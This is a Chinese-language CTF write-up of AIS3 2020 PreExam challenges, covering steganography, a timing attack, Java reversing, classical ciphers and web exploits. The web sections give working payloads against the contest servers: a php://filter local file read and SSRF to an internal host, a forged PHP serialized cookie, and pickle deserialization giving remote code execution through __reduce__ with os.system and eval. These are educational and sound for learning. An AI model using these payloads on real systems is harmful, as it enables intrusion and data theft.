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AIS3 2020 PreExam Write Up

我的 CTF 初體驗,也可能是最後一次

·

📋 題目列表 #

分類題目最後分數解題人數解題成功
🐧 Misc💤 Piquero100347
🐧 Misc🐥 Karuego100245
🐧 Misc🌱 Soy139172
🐧 Misc👑 Saburo359108
🐧 Misc👿 Shichirou45065
🐧 Misc🧸 Clara5002
♻️ Reverse🍍 TsaiBro100281
♻️ Reverse🎹 Fallen Beat144171
♻️ Reverse🧠 Stand up!Brain45562
♻️ Reverse🍹 Long Island Iced Tea49815
♻️ Reverse🌹 La vie en rose49912
♻️ Reverse🐉 Uroboros5009
💥 Pwn👻 BOF100189
💥 Pwn📃 Nonsense47447
💥 Pwn🔫 Portal gun49128
💥 Pwn🏫 Morty school49814
💥 Pwn🔮 Death crystal49910
💥 Pwn📦 Meeseeks box5008
🙊 Crypto🦕 Brontosaurus100380
🙊 Crypto🦖 T-Rex100381
🙊 Crypto🐙 Octopus372103
🙊 Crypto🐡 Blowfish48042
🙊 Crypto🐪 Camel49718
🙊 Crypto🐢 Turtle49814
🌐 Web🐿️ Squirrel100220
🌐 Web🦈 Shark100261
🌐 Web🐘 Elephant168165
🌐 Web🐍 Snake272137
🌐 Web🦉 Owl49227
🌐 Web🦏 Rhino49424

🐧 Misc #

💤 Piquero #

Piquero Braille

如果你搭電梯真的很無聊,你對這題一定特別有想法 (X

反正就是點字 (Braille),翻譯一下就出來了

要注意的就是 大寫英文、數字和標點前面會多一方標註

但查表可能很難查/查不到,所以我是解完其他題之後用腦補的方式猜完中間的標點

另外我發現一個小技巧,比方說要查 這個 4 5 6 有點的你可以直接打英文維基的網址

https://en.wikipedia.org/wiki/Braille_pattern_dots-456

裡面就會列出他在不同語言代表的意思

Flag:AIS3{I_feel_sleepy_Good_Night!!!}

🐥 Karuego #

Karuego

這個是一張 png 的圖片,flag 就藏在這個裡面

binwalk把壓在裡面的壓縮檔解出來

binwalk -e Karuego_0d9f4a9262326e0150272debfd4418aaa600ffe4.png

再用zsteg獲得壓縮檔的密碼

$ zsteg Karuego_0d9f4a9262326e0150272debfd4418aaa600ffe4.png
[?] 1201353 bytes of extra data after image end (IEND), offset = 0x1f6d30
extradata:0         .. file: Zip archive data, at least v1.0 to extract
    00000000: 50 4b 03 04 0a 00 00 00  00 00 40 8a bd 50 00 00  |PK........@..P..|
    00000010: 00 00 00 00 00 00 00 00  00 00 06 00 1c 00 66 69  |..............fi|
    00000020: 6c 65 73 2f 55 54 09 00  03 47 d3 d0 5e ed d3 d0  |les/UT...G..^...|
    00000030: 5e 75 78 0b 00 01 04 f5  01 00 00 04 14 00 00 00  |^ux.............|
    00000040: 50 4b 03 04 14 00 09 00  08 00 6f 21 07 49 ac 2c  |PK........o!.I.,|
    00000050: 71 1f 7c b9 01 00 d6 b9  01 00 35 00 1c 00 66 69  |q.|.......5...fi|
    00000060: 6c 65 73 2f 33 61 36 36  66 61 35 38 38 37 62 63  |les/3a66fa5887bc|
    00000070: 62 37 34 30 34 33 38 66  31 66 62 34 39 66 37 38  |b740438f1fb49f78|
    00000080: 35 36 39 63 62 35 36 65  39 32 33 33 5f 68 71 2e  |569cb56e9233_hq.|
    00000090: 6a 70 67 55 54 09 00 03  71 44 a6 57 48 d3 d0 5e  |jpgUT...qD.WH..^|
    000000a0: 75 78 0b 00 01 04 f5 01  00 00 04 14 00 00 00 1d  |ux..............|
    000000b0: cd 40 aa 87 37 8a 57 93  85 a9 4c b3 cf fd 58 2d  |.@..7.W...L...X-|
    000000c0: 38 10 a2 2a dc 61 3e 8a  67 bf 4c c1 e1 cb d0 d0  |8..*.a>.g.L.....|
    000000d0: 32 65 97 d0 b5 ef f0 a5  2a 04 a6 00 af b2 63 e9  |2e......*.....c.|
    000000e0: 19 c2 6a 7b de 79 a3 a2  3f 0a b3 e8 74 67 35 ec  |..j{.y..?...tg5.|
    000000f0: 1b 8b 90 c9 76 30 ad ab  18 7a e9 9a ed f7 8e 7c  |....v0...z.....||
b1,rgb,lsb,xy       .. text: "The key is : lafire"
b1,bgr,lsb,xy       .. <wbStego size=865108, data=";M\xCD!,\xC5\xA0:\x807"..., even=false, enc="wbStego 2.x/3.x", controlbyte="\x80">
b3,r,lsb,xy         .. file: gfxboot compiled html help file
b3,bgr,msb,xy       .. file: Applesoft BASIC program data, first line number 2
b4,r,lsb,xy         .. file: PDP-11 UNIX/RT ldp
b4,g,lsb,xy         .. file: a.out VAX demand paged (first page unmapped) pure executable not stripped
b4,b,lsb,xy         .. file: Targa image data - Map 16 x 4096 x 16 +16 +4353 ""
b4,rgb,lsb,xy       .. file: Targa image data - Map (256-4112) 4096 x 65536 x 1 +4097 +257 - right ""
b4,bgr,lsb,xy       .. file: PDP-11 UNIX/RT ldp

可以看到密碼是lafire,解開壓縮檔,裡面的圖片就有 flag 了

至於上面這堆東西我是怎麼想到的,簡單來說是 Google,更準確的說就是 Google CTF 圖片,第一筆就是了

小心英文小寫l和數字1,看了好久 QQ

Flag:AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}

🌱 Soy #

Soy QR Code

就是修復 QR Code,沒毛病

但是如果對 QR Code 有一些基礎的了解,是很有幫助的

比方說下面這張空的 QR Code

Blank QR Code

紅色的是固定的定位標記,藍色的是 Format Info

我是使用 QRazyBox 這個工具修復的,點擊藍藍色的區域會列出所有可能的格式

跟題目的 QR Code 對照,可以找到 Error Correction Level: L,Mask Pattern: 0是唯一的可能解

接下來把題目剩下的格子一個一個填進去,解到一定的程度之後就可以掃的出來了

Decrypted

Flag:AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}

👑 Saburo #

Problem

這題一開始我本來也是沒什麼想法

頂多就是發現輸入AIS3{可以得到比其他隨機的 input 來得高一點的延遲

雖然有點頭緒了,但這種暴力解題實在是太白痴

所以我後來是先放著去解其他題

直到第二天晚上,我發現很多人在 Discord 聊天群上抱怨這一題的秒數很跳

然後才意識到,嗯 看起來我的方向應該是沒有錯:)

反正水題會的題目也解的差不多了,那就來硬幹這一題吧呵呵

我原本的想法是 用 Python 寫一個腳本

迭代所有 ASCII Pritable 的字,抓秒數最大的,然後重複到下大括號出現就是完整解碼了

大致上就是下面醬

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("60.250.197.227", 11001))
s.send(b"\n");
s.send(input(s.recv(1024).strip().decode()).encode())
print(s.recv(1024).strip().decode())

可是不管我怎麼調,他的秒數不會像在 Terminal 裡面一樣加上去

事到如今,只能把他改成 Shell Script 了

可是,好難 而且這學期的 Unix 也沒教

於是絕望之際,我有一個大膽的想法

Keyboard Maestro

如果沒用過的,這個叫按鍵精靈

基本上就是把一系列的鍵盤操作預錄成腳本然後自動執行

我是用 Mac 的 Keyboard Maestro,但我相信其他按鍵精靈也可以輕鬆達到類似的效果

啊執行起來就會像下面這樣

這一次 Iteration 的答案是i哦,你猜對了嗎:)

我也沒有,這是示範的所以我把次數調到只有 3 次

根據出題 TA 的說法,每解一個字就約有 5ms 的浮動範圍,後期浮動疊加起來會抖很大

所以到最後面接近結尾的時候

幾乎要測到 10 次以上取平均才比較有機會觀察到差異

或是就 發揮你的想像力

imagination

You are my Ene…. energy?

好吧想像力薄弱的話就只能多試幾次ㄌ唄

最後快解出來的秒數大概會接近 400ms

Flag:AIS3{A1r1ght_U_4r3_my_3n3nnies}

♻️ Reverse #

🎹 Fallen Beat #

Problem

這題其實是我解出來的第一題,

也是少數幾題我沒看其他 Write Up,100%自己解出來的題目

學了這麼多 OOP 總算有點屁用了 xDDDD

老實說我也不知道腦子哪裡撞到了,第一題居然挑這麼認真的題目

載下來很快就發現,啊 原來是音 game

只要打出 Full Combo 就可以得到 flag 了是吧

Full Combo

呵呵,呵呵呵

題目分類都叫 Reverse 了,臭肥宅還想來硬的啊

還是先把 jar 重新 decompile 吧

其實我也不知道正規的 decompile 作法是什麼

但是隨便 Google 就有一大堆可以線上 decompile 的工具了

首先解完之後會有很多的 java 檔

針對整個 source code 全域搜索flag會找到Visual/PanelEnding.java裡的 methodsetValue裡有這段

if (t == mc) {
    for (int i = 0; i < cache.size(); ++i) {
        final byte[] flag = this.flag;
        final int n = i % this.flag.length;
        flag[n] ^= (byte)(Object)cache.get(i);
    }
    final String fff = new String(this.flag);
    this.text[0].setText(String.format("Flag: %s", fff));
}

可以看到 flag 並沒有被明文儲存,而是透過其中一個 class attributesflag

和傳進來的 cache 做 xor,所以還要再往上追傳進來的 cache 是什麼

於是再用SetValue做一次全域搜索,可以看到SetValue只會在Control/GameControl.java裡被呼叫

打開這份 java 檔,呼叫SetValuecache的參數是把this.cache傳下去

往上找可以看到this.cache是在這個 Class 的 Constructor 中宣告的

// ...
final FileReader fr = new FileReader(fumenPath);
final BufferedReader br = new BufferedReader(fr);
// ...
this.cache = new ArrayList<Integer>();
// ...
while (br.ready()) {
    final String s = br.readLine();
    if (s.charAt(0) != '*') {
        // ...
        this.cache.add(a);
        // ...
    }
}

但是這裡的fumenPath也是在 class 的宣告時傳進來的

於是再用GameControl做第三次的全域搜索

就會發現GameControl只會在Control/Frame.java中宣告

於是我們終於找到fumenPath是的值是songs/gekkou/hell.txt

重新把 code 打包成 Exploit.java

然後把原本解壓縮目錄裡的songs/gekkou/hell.txt移到這個 java 檔的同一個目錄底下執行就可以得到 flag 了

特別小心原本 GameControl 裡是用 br 來讀 cache 的,可是在讀 cache 之前有多一行

this.bpm = Integer.parseInt(br.readLine());

所以這一行也必須加進Expolit.java裡,不然轉換會出錯

Flag:AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}

🙊 Crypto #

🦕 Brontosaurus #

Problem

從題目的說明可以看到

這題是考古題,所以立馬打開 Google 搜尋AIS3 2019 Pre Exam Write Up

最後一個關鍵字KcufsJ,反過來變成JsfucK (其實如果直接把KcufsJ拿去 google 也可以發現)

這是一種特殊的 JavaScript,可以在 Google 上隨便找一個解碼器

然後把題目的文字檔塞進去,發現不能解

因為題目有提示過,得要先反轉一次才能解碼

Flag:AIS3{Br0n7Os4uru5_ch3at_3asi1Y}

🦖 T-Rex #

Problem

這題的關鍵字在nihilist

a.k.a. 虛無主義者,其實跟解題一點關係都沒有

但是 nihilist cipher 有,至於我是怎麼知道的

就…Google 關鍵字nihilist CTFnihilist encoding

nihilist cipher 由兩個關鍵部件組成,一個是加密盤,一個是密文

由密文一個一個對應加密盤解碼,就可以回推出解密的 Flag

雖然網路上好像有不少現成的工具,但我找不太到適合的

所以自己用 Python 寫了一個,有興趣的可以看看 T-Rex.py

Flag:

AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}

🌐 Web #

🦈 Shark #

problem

從題目的描述,我猜這題應該是某一年考古題的進化版

但難得這題我的解題靈感並不是來自前幾年的 Writeup

首先來看主頁

home

原始碼也沒什麼特別的,點進連結看看

hint.txt

提示說 flag 並不在執行 server 的這台主機上,而是在同一個區域網路下的另一台 web 伺服器伺服器上

再觀察網址的部分可以猜path後面帶的參數可以用來檢視主機上的檔案

我有點忘記當時是看哪個 writeup 或教學了

但總之就是,Unix 系統經常在/proc/net/fib_trie中存入區域網路相關的資訊

所以先試試

https://shark.ais3.org/?path=/proc/net/fib_trie

可是會被拒絕存取,換別的看看

https://shark.ais3.org/?path=index.php

index.php

這裡可以發現這一段 php 會用 regular expression 阻擋絕對路徑和使用..作為路徑開頭的檔案

這時候就要引入另一個 php 的弱點了: php://

php://是一個 php 自訂的 protocal,可以用來處理 data stream

比方說範例中的

readfile("php://filter/resource=http://www.example.com");

可以載入 http://www.example.com 的資料

所以我們把原本的

https://shark.ais3.org/?path=/proc/net/fib_trie

改成

https://shark.ais3.org/?path=php://filter/resource=/proc/net/fib_trie

/proc/net/fib_trie

嗒噠!!

接下來就是分析這份檔案裡的網址,

詳細的作法 google 一下就很多了

但我在解題的時候整個看下來

撇掉0.0.0.0是 unicast

還有127.0.0.0應該是跟 localhost 有關的

只有 172 開頭的看起來像是 router 分配的區域網路 IP

所以照著一開始提示,試試看

https://shark.ais3.org/?path=php://filter/resource=http://172.22.0.1/flag

沒有:(

再試試

https://shark.ais3.org/?path=php://filter/resource=http://172.22.0.2/flag

BINGO🎉

Flag:AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}

🐘 Elephant #

Problem

先看看連結

home

不知道這是什麼

隨便打個名字 submit 看看

login

岔題一下,題目有提到網頁中有提示,可是 discord 上很多人都找不到

這我就不懂了,就算你連開發者工具都不會用,在網頁上亂拉亂點或全選總不是什麼困難的事吧 (?

hint

其實老實說我到結束都沒有找到看 source code 的方法,

但還是解出來了,但應該還是算預期解啦 (我猜)

OK 扯遠了,回頭看看網頁的文字

Hello, Tomy! Your token is not sufficient to read the flag!

看到這裡的關鍵字 token,我大膽猜測,前一個網頁是一個登入的介面

根據輸入的使用者姓名來決定要不要給 flag

那登入完之後通常會帶上 cookie,那就來檢查一下

cookie

php 的 cookie 通常是 base64 encode,先解回來

O:4:"User":2:{s:4:"name";s:4:"Tomy";s:11:"?User?token";s:32:"8bd5e99e146d0af7cc75e8f2bcc9693e";}

接下來,按照這份 Cheatsheet: w181496 / Web-CTF-Cheatsheet 的提示

再加上已知 php 的字串==布林值 true

可以修改一下這個 cookie

O:4:"User":2:{s:4:"name";s:4:"Tomy";s:11:"?User?token";b:1;}

用 base64 encode 回去,再填回瀏覽器裡

flag

Flag:AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}

🐍 Snake #

Problem

這題其實是真·賽到

根據我事後跟出題者 @djosix 的討論

我的解法方向上是對的

但是理論上 100%的解題進度

我在解到大概 50%的時候 Flag 就噴出來了

但是

I’m certainly not the first, and definitely not the last.

會發生這個現象並不是因為我的解法而產生的特殊解

而是跑 flask gunicorn 的全域變數被改掉了

所以某一些 request 就被 cache 起來之類的

這就是為什麼 final countdown 前這題突然多了好多解題成功的紀錄

但總之我還是記錄一下我的解題思路

from flask import Flask, Response, request
import pickle, base64, traceback

Response.default_mimetype = 'text/plain'

app = Flask(__name__)

@app.route("/")
def index():
    data = request.values.get('data')

    if data is not None:
        try:
            data = base64.b64decode(data)
            data = pickle.loads(data)

            if data and not data:
                return open('/flag').read()

            return str(data)
        except:
            return traceback.format_exc()

    return open(__file__).read()

進來首先就先看到 flask 的 source code

在第 10~15 行的地方可以看到送一個 data 字串的參數進去

會先被 base64 decode,然後以字串的型態 pickle load 為 Python 的物件

然後如果滿足data and not data的話

就可以成功讀出 flag

當時我看到這題的第一個想法是

如果我可以寫一個自定義的 class

然後 overload and, not, bool 之類的 operator 就可以滿足這個 if 條件式了

於是我讀了一下 Python Truth Value Testingoperator 的文檔

然後發現 and 跟 not 是不能被 overload 的

所以我現在唯一的辦法就是 overload bool operator

讓他在奇數次呼叫的時候回傳 True

偶數次呼叫回傳 False

Class 大概長這樣

class Exploit(object):
    def __init__(self, initial=True):
        self.initial = initial
    def __bool__(self):
        self.initial = not self.initial
        return not self.initial

測試一下

e = Exploit()
print(e and not e) # True

漂亮

接下來只要把它封裝起來就可以了

import pickle
import base64
print(base64.b64encode(pickle.dumps(e)).decode())
# gANjX19tYWluX18KRXhwbG9pdApxACmBcQF9cQJYBwAAAGluaXRpYWxxA4hzYi4=

打包成網址

https://snake.ais3.org/?data=gANjX19tYWluX18KRXhwbG9pdApxACmBcQF9cQJYBwAAAGluaXRpYWxxA4hzYi4=

Traceback (most recent call last):
  File "./main.py", line 15, in index
    data = pickle.loads(data)
AttributeError: Can't get attribute 'Exploit' on <module '__main__' (built-in)>

經過一陣子的研究,問題在於一個很重要的概念, 文檔裡有提到

pickle can save and restore class instances transparently, however the class definition must be importable and live in the same module as when the object was stored.

也就是說,除非執行 Flask 的環境有一個特別定義好可以讓我們 load 的 class (別鬧了)

不然唯一的可能就是上傳一個 Python 原生環境就有的物件

於是我又翻了一下 Elephant 那題用到的 w181496 / Web-CTF-Cheatsheet

裡面有提到 pickle 有一個神奇的用法

對於某些不應該被直接 serialize 和 dump 成 string 的物件/屬性,比方說 file descriptor

可以把還原這些東西的方式定義在 __reduce__ 這個 method 來讓 pickle load 的時候呼叫

文檔裡有更多詳細的說明和用法,細節不贅述

簡單的來說,以下面這個 Class 做範例

class Exploit(object):
    def __reduce__(self):
        return os.system, ("id",)

pickle load 的時候,會呼叫

os.system("id")

但是因為這個 function 在 Python 中本來就只會回傳指令執行返回的狀態

而不會 pipe stdout 到變數裡

所以應該找類似的 function 來試試

中間我試了很多其他的

可是跑出來的結果幾乎都跟我想像的不一樣

我開始懷疑預期解是不是另有他方,伺服器把這條路給擋掉了

為了測試伺服器的確有確實呼叫我後面參數的 shell 指令

於是我把上面的範例修改了一下下

class Exploit(object):
    def __reduce__(self):
        return os.system, ("sleep 5",)

如果這個 request 轉了超過 5 秒才回傳

就代表指令有被確實被執行

於是我開心的輸入網址

https://snake.ais3.org/?data=gANjcG9zaXgKc3lzdGVtCnEAWAcAAABzbGVlcCA1cQGFcQJScQMu

AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}

Excuse Me???

我知道大難當前我缺分數

但…

It Doesn&rsquo;t Work Why It Works Why

啊 反正 flag 有了,

等比賽正式結束我再來慢慢研究

於是乎,即便等到比賽結束了我還是想不透

直到隔天下午

Discord screenshot

於是後來我私訊了作者之後

才得出了上面開頭的結論

那就直接跳結論

class Exploit(object):
    def __reduce__(self):
        return (eval, ("open('/flag').read()",))

e = Exploit()
print(base64.b64encode(pickle.dumps(e)).decode())
# gANjcG9zaXgKc3lzdGVtCnEAWAIAAABpZHEBhXECUnEDLg==

其實正規解法跟我的進度其實就只差最後一個重點:

evil 的 eval

作者的 官方解那邊還有很多解法

伺服器被玩壞可能的原因等等腦洞大開的細節

有興趣就自行移駕囉

心得 #

Scoreboard
我的得分榜

人生中第一場 CTF,解了 10 題,看了很多前輩寫的 Write Up,讓我獲益良多,解了不少題目,所以比賽還沒結束我就想好要寫這份 Write Up 和心得了。

作為一個新手寫的的 Write Up,立場應該會稍微接近正常人的思維,沒有祖傳秘方或通靈大法,解題過程都還算有上下文,希望能幫助到有興趣的人。

也感謝所有的出題 TA:

  • 出了很多水題讓我撿
  • 24 小時全力放送洗腦音樂、宣傳各種邪教(X
  • 最後一天伺服器爆了加賽 2 小時,讓我親眼見證 Saburo 是解的出來的

順便附上一點小心得:

  • 搜尋關鍵字 + CTF 可以平均一題可以節省 30 分鐘至 3 小時左右

  • 解題不用通靈,但是快速分辨水題可能要 (?),先寫會的這種事相信大啊國小老師都有教 吧(?)

  • 不要屯 flag、不要屯 flag、不要屯 flag

    Final Countdown
    節錄自 Discord 的 Final Countdown 播到最後一次副歌的聊天室

  • AIS3 重點不是解題,進 Discord 聊天群刷 GIF 和 emoji 才是本體

好了,這份 Write Up 經歷期末專題加期末考轟炸,

打了這麼久,終於收工了,感謝各位客官的收看

Rainbow Capoo Shake

Flag Length

CTF Player

I&rsquo;m just sucked